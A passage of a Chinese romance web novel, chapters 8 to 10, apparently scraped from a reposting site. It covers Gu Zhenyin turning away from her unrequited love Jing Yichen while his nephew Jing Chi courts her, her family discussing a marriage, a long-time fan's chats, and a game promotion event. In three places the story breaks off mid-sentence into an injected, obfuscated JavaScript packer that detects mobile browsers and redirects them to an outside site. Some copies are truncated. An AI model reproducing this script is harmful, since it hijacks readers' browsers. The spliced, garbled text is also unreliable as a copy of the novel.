他看到,顾蓁音正踮起脚,倾身给景驰涂防晒霜。 8. 洗脑(小修) 太阳渐渐下沉,暮色四起,天幕低垂,直到天边最后一抹夕阳被吞没,世界陷入蓝调时刻。 露营地亮起橘黄色的小灯串,传来热闹的说笑声,顾蓁音在煮关东煮,热气腾腾的白雾氤氲模糊了灯色,食物香气随着腾起的白雾,消弭于空气中。 顾蓁音分了一块没有腌料的清水牛肉给Sunny,小狗吃得很开心。 顾蓁音的手机弹出几条陌生的未接来电,还有两条来自景逸琛助理夏霜的未接来电。 昨天晚上,景逸琛说过,今天晚上会陪她补过生日,但她没有任何回复,也没有赴约。 顾蓁音能猜得出,她放了景逸琛鸽子这件事,让景逸琛很生气,但因为她拉黑了景逸琛,他只能用其他号码给她打电话,但无一例外,都被她拒接拉黑了。 景驰的肩膀不经意挨着她:“你猜小叔现在在干什么?” 顾蓁音愣了愣,答道:“生气。” 毕竟她放了景逸琛鸽子,景逸琛这种高高在上的人,估计能气得半死,但景逸琛再生气,已经和现在的她无关。 景驰很轻地笑了,语气中却是十足的笃定:“他会来找你的,信不信?” 顾蓁音将烫熟的豆腐串分给景驰,认真道:“不信。” 这是实话,顾蓁音不太相信,景逸琛是很骄傲的人,他的自尊心不允许他低头,遇到这种情况,他也只会和她冷战,等着她低头。 她用筷子轻轻戳了戳炖得软烂的萝卜,沉默着蜷起手指,轻声说:“放心,他不会来找我的,我在他心里,分量没有这么重。” 景驰不置可否,他托腮,目光直勾勾的:“要打赌吗?” “要是小叔来了,你考虑考虑我昨晚的提议……” 顾蓁音直接掐断他后面的话,没好气:“不赌。” 一抬眼,顾蓁音却发现安唯用很暧昧的眼神看着她,还在拼命用眼神示意她看手机。 顾蓁音低头,看到安唯发来的消息。 安唯:【我从今天下午就一直想问,你和景驰怎么回事?】 安唯:【我昨天光顾着骂景逸琛了,老爷子到底和你说了什么?】 安唯:【老爷子该不会真的让你把结婚对象换成景驰吧!所以让景驰来和你接触!】 安唯:【如果是真的,我支持景驰上位!】 顾蓁音看完消息,只觉得眼皮直跳,安唯这个人敏锐度一绝,居然把事情猜得八九不离十。 顾蓁音很心虚地强作镇定:【……没有的事,真的只是碰巧。】 安唯发了个贱兮兮的表情包:【行行行,碰巧碰巧。】 一抬头,安唯就朝她投了个“我懂的”的媚眼,顾蓁音被她油腻到了。 手机再次弹出来电,顾蓁音下意识心中一紧,以为是景逸琛的,但这次却是姐姐顾韫珠的来电。 她站起身,找了个稍微僻静的地方接电话:“姐,找我有事?” 顾韫珠嗯了声:“在干嘛呢?” “在和朋友他们露营。”顾蓁音看了眼帐篷那边,又收回视线。 顾韫珠:“你晚上有空的话,就回家一趟,如果今晚要露营过夜,明天再回家也行,先好好玩。” 她叹了口气,阴阳怪气:“某人就光顾着失恋,伤春悲秋,回来也不回家看看我和爸妈。” 顾蓁音摸了摸鼻子:“不用不用,我今晚就回去。” 姐姐的话,顾蓁音还是要听的,她回到帐篷,和安唯她们说自己要回父母家一趟,现在要提前回去。 景驰也跟着站起身:“我送你回去。” 安唯喜闻乐见,很热情地赶他们走:“没问题,景驰你先送她回去,我们再玩一会。” 顾蓁音让安唯送她的两个助理回家,安唯答应得很爽快:“你的两个小助理放心交给我,我保证全须全尾送人回家。” 顾蓁音交代了两个助理几句,就和景驰离开,但走到快到停车场时,顾蓁音发现自己的外衫落在露营地里。 景驰:“我回去帮你拿。” 顾蓁音看了眼路,还有几步路就到停车场,她不太想往回走:“那我先去停车场那边等你。” 景驰看了眼四周,很亮很安全,他把车钥匙递给她:“行,你去车里等我。” 顾蓁音独自一人走向露营地的露天停车场,因为是私人管理经营的露营地,周围都装着灯和提示牌,她很轻易就找到了停车场。 昏暗夜色里,她只能看到一道模糊的人影倚在一辆车前,只余星星点点的烟头亮着,烟灰摇摇欲坠。 “蓁音。” 听到熟悉的声音,她的心还是因为习惯,狂跳一下。 她抬头看去,只见景逸琛已经站直身体,目光深沉地看着她,他的脚边有几个明明灭灭未熄灭的烟头。 他在烦躁的时候,喜欢抽烟,原先一丝不苟的西装领带,也被他粗暴地扯松,泛起不规整的皱褶,显然,他在这里等了她很久。 景逸琛看到出现的顾蓁音,不知为何,失去掌控的感觉愈发明显,他心脏不安地跳动着,他忍不住焦躁地掐灭烟头,脸色冷得吓人。 他命令道:“蓁音,过来。” 因为抽了不少烟,景逸琛出声时,嗓音是极致压抑的沙哑。 但顾蓁音只是站定在原地,遥遥看向他,没有过去的意思。 此时,景逸琛身侧的车门打开,走出一个女人,顾蓁音这才发现,除了景逸琛,还有另外一个,顾蓁音不太想见到的人。 景逸琛的助理,夏霜。 夏霜是景逸琛资助的学妹,毕业后就进了景逸琛所在的公司,成为他的助理。 夏霜长着一张清秀无害的脸,身形瘦削,她此时站在夜色里,有种弱不禁风的可怜劲儿。 夏霜朝她走来,嗓音很柔:“顾小姐,景总在餐厅等了你两个小时,都没有等到你。” “你还因为景总生日的事生气吗?当时确实是我工作疏忽,没有及时通知您,景总晚上有会议。” 她像是很委屈,嗓音也柔柔弱弱的:“如果顾小姐还没消气,我可以和你道歉的。” 顾蓁音看着她,点点头:“那你和我道个歉吧。” 夏霜愣住了,没想到顾蓁音真的要她道歉,她不由求助般看向身后的景逸琛:“景总……” 景逸琛显然蕴含着很重的怒气,他上前,语气极其不耐:“有必要吗?我都说了,今天陪你补过生日,你又耍性子不来,还要和景驰待在一起,你到底想怎么样!这点小事你还要闹到什么时候!” 心脏好像只是很轻微地钝痛一瞬,很快就恢复平静,她看着他,很平静:“我没有在闹,我说过,之前是我任意妄为,以后我都不会再打乱你的安排,也不会再继续打扰你了,小叔叔。” 顾蓁音的小叔叔三个字,让景逸琛的烦躁愈发明显,他想要伸手拉住顾蓁音的手腕,将人拽走,但就在触碰前一秒,顾蓁音的身侧却突然窜出一道黑影,Sunny如闪电般冲上去,对着夏霜和景逸琛大声狂吠。 陨石边牧是大型犬,爆冲扑上去的时候,还是将夏霜吓得失声尖叫,拼命往后退,躲在景逸琛的身后,没了那股柔柔弱弱的形象。 “Sunny,回来。” 景驰的声音由身后传来,但Sunny只是后退几步,没再狂吠,它还是一脸警惕地盯着两人看,喉咙发出沉闷的低吼声。 景逸琛将夏霜护在身后,他的脸色也不太好看:“景驰,看好你的狗。” 景驰拉着牵引绳,姿态闲适站在顾蓁音的身侧,温热的掌心握住顾蓁音的手腕,将她往后带:“小叔你放心,Sunny很聪明,不会误伤无辜。” “就算它伤了不怀好意的人。”他突然很轻地笑了笑,语气肆无忌惮,“多少医药费我都赔得起。” 他这番话说得狂妄至极,根本没有把景逸琛放在眼里。 说完,景驰状似无意地揉了揉小狗脑袋,语气宠溺:“宝宝,别什么东西都想咬,也不怕有毒。” 夏霜的脸色唰一下变了。 景逸琛沉声警告:“景驰,我是你小叔,这是我和蓁音的事,长辈的事,你不要插手。” “我就算是插手,你又能怎样?” 景驰轻笑一声:“你除了空有一个小叔的名头,比我老六岁,你还有哪一点可以压我?” “你的小助理不是要道歉吗?怎么不继续?” 景驰不太走心地扫了眼脸色难看的夏霜,他掀起薄薄眼皮,似笑非笑地看着景逸琛:“小叔,作为小辈,我好心奉劝一句,如果你的助理连这些小事都处理不好,我建议你换一个工作能力强的。” 景驰的声音像是冰镇过,很冷:“这么拎不清,哪天把你的工作搞砸了,希望小叔你还能慷他人之慨,大度原谅。” “至于补过生日,似乎从头到尾,都是你自己在自作主张而已。” 景逸琛的脸色极其难看,阴沉得仿佛能滴出水,他没有理会景驰,只是再次看向顾蓁音,语调带着几分风雨欲来的压抑:“蓁音,你也这样觉得?” 顾蓁音很轻地说了声:“是。” 景逸琛像是被什么击中,微不可查地僵直瞬间,随后他沉默地打开车门上车,砰一声用力关上,夏霜也跟着上了副驾驶,开车离开。 景驰啧了声,索然无味:“小叔还是这么喜欢生气。” 顾蓁音却看向景驰:“我以前怎么没发现,你骂人的时候,嘴还挺毒。” 景驰也垂眸看她:“不好吗?起码能帮你出气。” 明明四周昏暗,但他的眼眸却很清亮,顾蓁音的心底泛起很微小的触动,像一颗小石子被投掷入平静的心湖中,溅起一圈圈涟漪。 这种情绪可能是感动。 顾蓁音:“其实我也可以吵得过他们的。” 景驰扯唇笑了:“得了吧,就你那吵架水平,还和人没说几句,眼泪就跟断线珍珠似的,噼里啪啦先下来了。” 顾蓁音无话可说,她有典型的吵架泪失禁体质,和人争论吵架,先把自己气到哭,话断断续续说到一半,就抽抽噎噎起来,气势就先比别人弱了一半。 但顾蓁音还是好奇:“你什么时候嘴这么毒了?” “锻炼出来的。”景驰轻描淡写,“我读研的时候,天天被我的导师骂,他要求高,脾气很差,骂人也狠,整个华大估计都找不出第二个骂人比他狠的老师。” 他双手抱臂,微微垂下眼,嗓音轻慢:“怎么?我嘴太毒要扣我印象分了?音音公主?” 话题再次被他扯回结婚上。 顾蓁音却眨了眨眼,慢吞吞道:“还好,我觉得是优点,不过你变化有点大,我一下子没办法适应,我还在英国读书的时候,你还比较……温和有素质。” 顾蓁音和景驰关系最好,来往最密切的时候,是她在英国留学的那段时光。 当时他们分隔两地,他在北城,她在伦敦,冬天隔了八小时时差,夏天隔了七小时时差,却是他们关系最好的时光。 起因很简单,也很突然,当时她一个人在英国读书,某天收到景驰的消息,说他有事要去伦敦一趟,问她有没有什么东西想要的,他可以顺便带过去。 这个消息对于顾蓁音来说,简直是她的及时雨,顾蓁音立刻罗列了一长条清单,给景驰发过去。 几天后,景驰如约出现在她面前,还从国内带了很多她日思夜想的零食和调味品,她高兴得请景驰吃了顿饭。 至此,景驰每一两个月,都会来伦敦一趟,顾蓁音好奇他到底有什么事,要每个月都来伦敦,景驰说是他爸有个海外客户要维护,所以每个月让他过来一趟,景驰每次都会人肉快递给她带很多东西,这个习惯一直持续了三年,一直到她大学毕业,无一例外,风雨无阻。 只是后来毕业回国,她选择跟随景逸琛,定居在江城,而景驰继续在北城读研,两人都在国内,没了人肉快递这条线支撑,她和景驰的联系,也渐渐少了很多。 时光模糊了旧日的剪影,景驰好像变了,又好像没变,但他却是以更加鲜活的姿态,重新闯入她的生活。 他却勾起薄唇,扬起很淡的笑弧:“那只是对你比较有素质。” “而且人总是会变的。”他打开副驾驶的车门,用手挡住车顶边缘,示意顾蓁音上车。 “或许有时候,太温和隐忍,不是什么好事,想得到的人或物也会失之交臂。” 顾蓁音不太懂他这句话的意思。 景驰开车,从露营地驶向市区,抵达顾蓁音父母住的别墅区,已经是晚上十点,顾蓁音刚要下车,却听到景驰看向车窗外,叫了声。 “韫珠姐。” “小驰,好久不见。” 顾蓁音抬头望去,就看到她姐顾韫珠正站在门口当门神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾蓁音看得眼前一黑。 “你还是不是我亲姐!”顾蓁音不可置信,心里话不由自主脱口而出,“这个李少爷都没有景驰一根头发丝好看!” 顾韫珠收好手机,幽幽道:“那你的意思是想嫁给景驰?” 顾蓁音噎住了。 都怪景驰,不停地对她洗脑嫁给他的好处,导致她现在看到一个异性,都下意识拉景驰出来对比一圈。 “我没说我想嫁给景驰……” 顾韫珠睨着她:“你们关系不是很好吗?” 顾韫珠揶揄道:“当年他大学创业遇到困难,被家里人断了生活费,是谁偷偷打钱接济他?” “又是谁拿着自己小金库的钱,让我以其他人的名义,偷偷投资他的游戏公司?” 景驰大三的时候,和同学创立的游戏公司已经初具雏形,先后已经上线了两款独立游戏,反响还不错,当时景驰不满足于只做独立游戏,他打算转战手游赛道,景驰和投资方签了对赌协议,需要保证游戏上线盈利达到协议对应的金额,如果没达到协议,需要赔款给投资方,而且景驰作为游戏主创,也需要按比例投入资金,她不清楚景驰投了多少资金,她只知道,最后这个游戏项目出了些状况,景驰赔得血本无归。 当时景驰和家里闹了些不愉快,听说还被断了生活费,不支持他继续创业,是她从零花钱拿出一百万,借着姐姐顾韫珠的名义,在景驰公司天使轮的时候,参与了融资,获得一部分股权,成了他的天使投资人。 在投资之前,顾韫珠再三和她确认,这是风险投资,有可能会全部打水漂,一百万有去无回,但顾蓁音的心态很好,毕竟是风险投资,赔了就赔了,这个风险她承担得起。 投资看到回报的时间拉得很长,久得顾蓁音差点忘了还有这一回事时,姐姐顾韫珠却突然告诉她,景驰想要回收她手上的股权,她当年投入一百万得到的股权,在两年后,市值已经达到了五千万。 她让顾韫珠把这份股权全部卖给景驰,她得到了五千万的巨款,顾蓁音这辈子都没靠自己赚过这么多钱。 顾蓁音对投资金融这些完全一窍不通,但她误打误撞,投到了这辈子最成功的一次投资——景驰。 只不过这件事,景驰不知道。 “那是我和他关系好。”顾蓁音躺在沙发上,用枕头蒙住脸,“关系好不代表我对他有意思,我之前喜欢谁,你又不是不知道。” 她闷声补充:“而且安唯当时开咖啡店,我也给她砸过钱。” 顾韫珠叹口气,她这个妹妹,性格单纯善良,对朋友更是好得没话说,什么都好,但就是在感情上一根筋,犟得不行。 她往顾蓁音的身边一坐:“那你对景逸琛到底怎么想的?” 顾韫珠语重心长:“音音,你不能为了他一再退让,失去自我。” “因为爱是相互的,就像是一架天平,你不断地往上加砝码,最终天平也会彻底失衡,感情也一样,如果你只是一味地付出,没有回馈,这段关系,最终也会被单方面付出的爱压垮。” “我知道。”顾蓁音终于露出一双眼睛,“姐,你早点休息。” 顾韫珠知道一切都要顾蓁音自己想清楚,她也没打算继续长篇大论,利落站起身离开。 顾蓁音有气无力地回到自己房间,抱来电脑,开始整理剪辑今天的视频素材,她在第二天的早上,发布了新的视频。 ——您的特别关注@咖啡音音发了视频。 【大家好久不见~最近在搬家以及处理一些事,大家久等啦!】 视频发布不到十分钟,评论区瞬间刷新出不少评论。 【音师傅终于更新啦!】 【音师傅和朋友去露营了吗?看起来好好吃!】 【老婆好久没更新了,一打开就是老婆的更新视频呜呜呜,谁懂!】 【音音的IP变了耶!是搬回北城了吗!我和老婆呼吸同一个城市的空气,是谁嫉妒了!!】 【首评怎么还是糯米糍!夺妻之仇不共戴天啊啊啊!!】 顾蓁音抬眼,热评第一,依旧是无比眼熟的ID。 绿茶糯米糍chi:【老婆今天也超级可爱。】 9. 粉丝 热评第一的绿茶糯米糍,是她最早最活跃的粉丝。 在她这个博主账号粉丝体量两位数的时候,这个粉丝就已经频繁在她视频下评论留言了。 对方的每一次留言都很认真暖心,在寂寂无名的那段时间,顾蓁音每次发视频,都会期待着对方的第一个评论。 她曾经因为好奇,点进去对方的主页,性别显示为女,没有发布任何作品,虽然很神秘,但看起来是一个很温柔的女孩子。 本来两人的交集互动只停留在评论区,但有一天,绿茶糯米糍却私信了她。 对方问她能不能加微信,她有些厨艺问题想要请教顾蓁音。 顾蓁音没有拒绝,和她互加了微信,原来是糯米糍想做蛋糕,但一些细节问题不大懂,面对支持自己的粉丝,顾蓁音很热情为糯米糍一一解答疑惑,她当时还很期待糯米糍在她的指导下,能做出完美的蛋糕,但过了许久,对方发来一张成品照片。 图片里的东西,与其说是蛋糕,不如说是一个薄薄扁扁的蛋饼,完全没有发起来,一言难尽,顾蓁音确定了,绿茶糯米糍在做饭上简直毫无天赋。 至此之后,绿茶糯米糍隔三差五会在微信上和她聊天,聊天内容不再局限于厨艺问题,慢慢渗透到生活,顾蓁音一开始还有些防备心,她担心对方是什么杀猪盘,哪天就把她骗财骗色了,但一聊就聊了六年,事实证明,杀猪盘放长线钓大鱼也不会这么久,对方真的只是单纯和她聊天,没有任何骗财骗色的迹象。 安唯当时还警告她,让她少说点,小心哪天糯米糍脱粉回踩,把她的这些黑料全部爆出来。 但顾蓁音是个管不住嘴的,把自己的事情抖了个干净,而糯米糍的个人情况,顾蓁音也大致了解,糯米糍应该是一个酷姐,比她大一点,在游戏公司上班。 好在到目前为止,对方也没有脱粉回踩,更没有泄露她的任何个人私事,所以顾蓁音对糯米糍很信任。 “叮咚”一声,打断了顾蓁音的思绪,微信弹出条消息,正好来自绿茶糯米糍。 绿茶糯米糍:【你和那个老男人表白失败了?心情不好?】 顾蓁音和糯米糍认识了快六年,所以糯米糍大致清楚她和景逸琛的情感纠葛,不知怎么,糯米糍莫名很讨厌景逸琛,喜欢称呼他为老男人。 流泪咖啡因:【嗯,但我最近烦心的是另一件事,我的竹马,想要和我协议结婚。】 绿茶糯米糍:【他长得怎么样?】 流泪咖啡因:【就是今天视频里那个。】 这期视频里景驰的镜头,她裁剪了一部分,只保留了下半张脸,虽然没有将全脸露出来,但棱角分明的下颌轮廓,还是让评论区不少粉丝都注意到景驰。 【虽然没有露全脸,但我感觉是个帅哥!】 【这是新的助理吗音音!居然是个男生耶!】 【音音你还亲自给人家涂防晒霜,难道我的老婆要有新老公了呜呜呜……】 顾蓁音回复澄清:【不是啦,是友情出镜的好朋友。】 澄清后,好奇的粉丝少了不少,大家没有继续把注意力停留在景驰上。 绿茶糯米糍没再弹消息,应该是去看视频里的景驰,过了一会儿,绿茶糯米糍再次发来消息。 绿茶糯米糍:【看起来很帅,和你挺配的。】 流泪咖啡因:【只露了半张脸不到,你怎么看出来他长得帅的?还和我很配?】 绿茶糯米糍:【凭感觉。】 绿茶糯米糍:【虽然只有半张脸,但看起来帅得惊为天人。】 顾蓁音少见糯米糍对某个男性评价这么高,她有点惊讶。 流泪咖啡因:【好吧,他本人长得确实很帅,难道你喜欢这种类型?正好你和他是同行,也是游戏行业,应该很有共同话题,他最近好像急着结婚,你喜欢的话,我可以把他介绍给你。】 对面安静了好一会,才发来三个字。 【不需要。】 不知怎么,顾蓁音感觉对方隐隐透出几分情绪,似乎很不高兴。 流泪咖啡因:【对不起,我以为你喜欢这种,别往心里去。】 绿茶糯米糍:【那你怎么想?其实我觉得同龄人和你更合得来,老男人都三十岁了,脾气暴躁不说,说不定精力也不好,这种年轻帅哥刚刚好,你和他结婚不会吃亏的。】 流泪咖啡因:【停停停,我没有和他结婚的打算,退一万步讲,就算我和他结婚,我和他最多只是协议婚姻,没有夫妻之实,谁会关注他精力好不好?】 流泪咖啡因:【他人很好,可是我只把他当好朋友,没有其他的感觉。】 景驰应该也一样,两个毫无感情的人凑在一起,只是毫无感情地搭伙过日子罢了。 顾蓁音知道自己这个人挺窝囊的,脾气几乎没有,属于别人踩她一脚,她会先说对不起的程度。 惹了她,相当于踢到棉花。 可能景驰也觉得她脾气好,才千挑万选挑中了她。 绿茶糯米糍:【你觉得他人很好?】 流泪咖啡因:【嗯嗯,在我账号没做起来之前,他在技术层面和资源上帮了我很多,我视频的开头结尾都是他设计的动画;我当时留学,很多做菜的调味料都是他亲自人肉带到伦敦的,他帮了我很多。】 一开始视频没什么流量,景驰曾经和她说过,可以弄个有特色的开头和结尾,视频剪辑得更有趣些,他还特地手把手教她剪了几次视频,好在她大学学的是传媒,刚好专业对口,。 绿茶糯米糍:【既然你对他的观感不错,你可以和他试试。】 流泪咖啡因:【?怎么试?】 绿茶糯米糍:【先婚后爱懂不懂?感情可以慢慢培养。】 顾蓁音有些无语,她打字回复:【少看点言情,你现在的首要任务是卸载晋江小说。】 绿茶糯米糍:【。】 对方说一会有个会,没再继续和她闲聊,顾蓁音百无聊赖地起床,下了楼。 保姆阿姨见她起了床,把一直温着的燕窝炖奶端出来:“这是大小姐吩咐的。” 顾蓁音道了声谢,一边吃着燕窝,继续刷着手机,正当她往下刷着视频,却发现有个短视频互关好友,给她发了张照片。 顾蓁音手一顿,对方是夏霜。 曾几何时,她对夏霜这个姐姐并不讨厌,她还会经常送她礼物,带她逛街买东西,在这种情况下,她和夏霜互关了短视频账号。 顾蓁音点开照片,照片里是暗色熟悉的车厢内,一个挂在后视镜上的奶黄色玩偶。 照片里是景逸琛的车,而那个玩偶,则是她亲手挂上去的。 夏霜:【顾小姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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生日的事,顾蓁音也不想再旧事重提,没有意义,他和夏霜的关系,她也不想再关心。 景逸琛不喜欢她,她也不可能勉强,是她单方面喜欢他,暗恋的一方,永远低人一等,她更不可能去指责对方为什么不喜欢她,不喜欢就是不喜欢,他在这件事上,确实没有错,所以她没有什么后悔的。 暗恋一场,她已经做好了满盘皆输的准备。 现在的她,确信自己要放弃景逸琛了。 顾蓁音指尖轻敲,回了句:【不介意。】 想了想,她又补了句:【恭喜,早生贵子。】 - 星澜互娱总部二十楼,宽敞明亮的会议室内,幕布的光莹莹亮着,会议室内只有寥寥几个人。 景驰坐在主位,听着台上的人讲话。 季淳站在台上,一边用翻页笔翻PPT,一边讲接下来的安排:“最近我们和短视频平台d站有个联动宣传活动,邀请了不少网红博主参加,届时会线上直播,地点定在在嘉桐镇,活动时间在下周,我们这边也要派管理层代表过去。” 季淳操作电脑,在幕布播放PPT:“这是d站那边邀请的达人博主,大家看看。” 景驰长腿交叠,单手支颐,显然兴趣缺缺,他的目光不经意落在幕布上,却停住了。 ——@咖啡音音 美食领域,粉丝346.7W 景驰突然出声:“我们这边要派谁过去?” 季淳看向景驰,继续道:“我知道,你对这种宣传活动向来不感兴趣,所以我打算安排周于承和我过去……” 景驰突然他打断季淳的话:“谁说我不感兴趣了?” 他屈指敲了敲桌面,站起身。 “活动,加我一个。” 10. 活动 景驰干脆利落地拍板决定,就拿起手边的文件:“好了,散会。” 景驰拿起手边的文件,起身离开会议室,徒留其余众人面面相觑。 有人实在按捺不住好奇,问季淳:“小季总,小驰总这是……转性了?” 会议室内的大家,都是在星澜打拼多年的老人,自然熟悉景驰的秉性。 景驰是计算机学硕出身,在技术水平上,强得无可指摘,在公司里,他也主要负责研发,运营方面,一直很少参与,更不必说这种需要露脸的宣传活动。 季淳却很清楚:“哪里是转性了,是小孔雀准备开屏了。” - 傍晚时分,顾家别墅庭院里的复古路灯一盏盏亮起,在暮色中笼出一团团光影。 顾蓁音刚刚吃完那一盏燕窝,别墅外传来汽车引擎的声音,陈阿姨的声音随之传来。 “先生和夫人回来了。” 话音刚落,顾蓁音一抬头,就看到母亲梁筝一脸心疼地走过来:“音音,怎么瘦了这么多?” 顾观和梁筝都一脸隐晦地进行眼神交流,自家小女儿肯定是因为在景逸琛那里碰了壁,受了情伤才茶饭不思。 顾蓁音眨眨眼:“我没有瘦啊,我昨天才刚刚称了体重。” 父亲顾观轻咳一声,故作严肃接过话茬:“肯定是体重秤出问题了。” 梁筝附和:“就连你爸这种直男都看出你瘦了,那肯定是瘦了。” 面对父母的强词夺理,顾蓁音无言以对。 梁筝心疼看着顾蓁音,试探问道:“是因为……景逸琛?” 顾蓁音有些头疼,怎么一个两个都在提起他? 她有些无奈答道:“妈,不是因为他。” 但父母一脸“我不信”,顾蓁音也知道他们是担心自己,也不想再和他们争论,她正好看到准备端菜上桌的阿姨,立刻转移话题:“爸妈,你们刚刚回来,肯定饿了,先吃饭吧,我先上楼了。” 梁筝:“你晚饭不吃了?” 顾蓁音急着逃离:“不吃了,你们慢慢吃。” 眼见顾蓁音的身影消失在楼梯转角,正巧顾韫珠也回来了,她看见一脸忧愁的父母,不由问:“怎么了爸妈?” 梁筝叹了口气:“还不是担心你妹妹。” “看她这幅样子,肯定还没放下景逸琛。”梁筝自言自语,随后又看向大女儿,“怎么办?要不要再安排些青年才俊转移音音的注意力?” 顾韫珠洗了手,气定神闲地坐在餐桌前,优雅地吹着碗中的汤,安慰着急上火的父母:“爸妈,先不用急。” 梁筝:“我能不急嘛?我早就看景逸琛那小子不爽了,但偏偏音音就是喜欢他,难道要眼睁睁看着你妹吊死在景逸琛这棵树上?” 她很自责:“要不是当年我和你爸在外地扩展市场,你又在国外读书,只能把音音一个人留在北城,她又只是个处于青春期的小姑娘……” 话说到一半,她重重叹了口气,悔不当初。 顾观点头:“既然景老爷子同意音音选择解除这个婚约,改日我和你妈妈还是亲自去景家一趟,正式把这个婚约解除了,省得看着烦心——” 顾韫珠打断父母的话:“爸妈,别急着取消婚约,景逸琛不愿意娶,但自然有人愿意,毕竟景家能娶音音的人,又不止景逸琛一个。” 梁筝顿住,她迟疑道:“你是说……小驰?” 见父母不太相信,顾韫珠顺便放出个重磅消息:“昨天晚上送音音回家的人,是景驰。” “我猜,他想娶音音。” 顾家父母愣住。 - 二楼房间内,顾蓁音正靠在沙发上,现在是八月底,随着她的粉丝体量不断扩大,她的工作内容不局限于接线上推广,她偶尔也会参加一些线下活动,按照惯例,她需要提前和宋悠可确定下个月的工作行程安排。 “可可,我们接下来有什么工作安排吗?” 宋悠可:“有的,我们下周要去嘉桐镇参加d站的线下活动——嘉桐寻宝之夜,是d站和手游《星境乐园》联动举办的活动。” “这次活动邀请了不少大V博主,还有媒体记者,主要是为了庆祝手游《星境乐园》五周年,主办方那边已经把活动内容安排发过来了,我们美食类博主会安排小摊位,主办方需要我们制作一些游戏角色相关的周边小点心,在活动现场摆摊宣传。” 顾蓁音忍不住出声:“是《星境乐园》的联动活动?” 宋悠可很兴奋:“对,老板,你应该知道这个游戏吧,特别火,我和小纯都在玩,去年我们还在江城的时候,我还让你帮我们抢游戏的联名周边呢!没想到有一天,我还能参加《星境乐园》的联动活动!” 顾蓁音当然知道,她还知道,这是景驰公司旗下的手游。 她打开宋悠可发来的需求文件,果然在主办方那一栏,看到了熟悉的公司名字——星澜互娱。 不知道是不是错觉,好像自从她这次回到北城后,和景驰的牵扯就莫名其妙多了起来。 难道是景驰的安排? 很快,顾蓁音就理智地将这个可能排除,这个活动安排,是两个月前d站那边发来的邀请,应该和景驰无关,而且只是一个联动宣传活动,景驰是星澜互娱的最大股东兼老板,他这种日理万机的大忙人,应该不会出现在活动现场。 应该一切都只是巧合而已。 “老板,你还在听吗?” 宋悠可的声音从手机传来,顾蓁音思绪回笼,才意识到自己还在和助理通着电话。 “嗯嗯,我在听,那我先研究研究活动当天准备的点心,正好也可以做下一期的视频素材。” 顾蓁音这个人对于工作算是比较认真,既然接了这个游戏的线下推广,她肯定要去亲自体验游戏。 为此,顾蓁音下载了游戏,为了避免玩不明白,她还专门去搜索了相关的新手攻略,大致做了功课,顾蓁音点开游戏界面,一开始会有一个引导的小吉祥物,是一个白色的小团子,叫oo。 听说这个吉祥物可以互动,顾蓁音出于好奇,她伸手点了点小团子,小团子会很不高兴地避开:“我们才认识一天,不要对我动手动脚。” 小团子说话的语气,莫名让顾蓁音想起景驰。 她对于小时候的景驰没什么印象,真正有印象的时候,是高二的时候,景驰搬到老宅小住,她才对景驰开始有了具体的认识。 一开始的景驰很高冷,她有时候不小心碰到他的手,景驰就像是触电般立刻缩回去,这让顾蓁音一度认为,景驰很讨厌她。 不愧是景驰研发的游戏,很有景驰的风格。 连续玩了两天,顾蓁音大致了解了游戏里的角色,她也做了方案,打算做几款手绘小饼干和吉祥物糯米糍。 她翻遍了网络,实在不知道这个吉祥物到底是什么物种,但oo看上去很像糯叽叽的糯米团子,她打算把吉祥物做成糯米糍。 至于内馅,顾蓁音定了两种,一种是红豆,一种是绿茶。 顾蓁音在平板上,写上制作方案。 这次活动很正式,顾蓁音准备得比较充足,在活动前一天,顾蓁音带着两个助理前往嘉桐镇,因为这次活动很盛大,d站那边准备很齐全,给各个需要摆摊的没事博主提供了酒店和烘焙工作室,供顾蓁音这些博主现场制作一些不容易保存的点心。 顾蓁音先提前做好手绘饼干,随后开始动手做糯米糍,忙了一整天,一直忙到晚上,顾蓁音和两个助理将糯米糍一个个包装好,放入冰箱保存,除了糯米糍,顾蓁音另外安排了手绘的小饼干。 活动第一天,照例先是主办方讲话,被邀请的博主媒体坐进准备的会议厅里,等待活动开始。 灯光变暗,会议厅突然出现一阵骚动,闪光灯的声音急促如雨点,媒体记者像是接收到什么信号,纷纷对着被簇拥在中间的人狂拍。 顾蓁音循声望去,只见人影错落间,她看清了那人的脸。 男人身形颀长,身着黑色廓形西装,内搭是同色T恤,休闲却不失得体,露出一截冷白如玉的脖颈,光线昏昧,他抬首,似有所感般朝她的方向看来,遥遥往来的视线,在闪光灯的闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223099|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烁中,像是漫不经心的睥睨。 是景驰。 宋悠可和苏纯见过景驰,此时她们震惊得瞳孔地震,僵硬地看向顾蓁音,表情明晃晃写着迷茫。 “不是,老板,你的朋友,居然是星澜互娱的老板?!!” 顾蓁音也很震惊,她没想到景驰会出现在这里。 但比起宋悠可她们的惊讶,景驰的现身,直接掀起了极大的讨论声,几人的对话直接被周围人的嘈杂激动掩盖。 “那是哪个明星网红吗?好帅!” “好像没见过啊……这种神颜不火天理难容好吧。” “什么明星网红,那是星澜互娱的老板。” “这么帅的吗!完全可以去娱乐圈了。” “又帅又有钱,上帝到底为他关上了哪扇窗……” “这种颜值,星探应该来堵人才对。” “太夸张了吧……” 顾蓁音在心里默默接了句不夸张,毕竟景驰真的被星探围追堵截过。 高二的寒假,顾蓁音需要上补习班,但景逸琛没时间去接她,当她接她回家的人是景驰。 